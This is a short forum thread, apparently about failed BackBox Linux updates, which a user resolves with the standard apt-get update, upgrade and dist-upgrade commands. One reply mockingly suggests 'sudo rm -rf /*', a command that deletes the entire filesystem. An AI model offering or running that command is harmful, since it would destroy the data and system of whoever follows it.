Hi,

You have internet connection issues, if you run Tor, this can be issue as well, for me update over vpn is working:



Don't ask, read : http://wiki.backbox.org
or just run sudo rm -rf /*

It working without that thank you.
Worked with simple steps:
Sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade

Seem like issue yesterday. Worked.
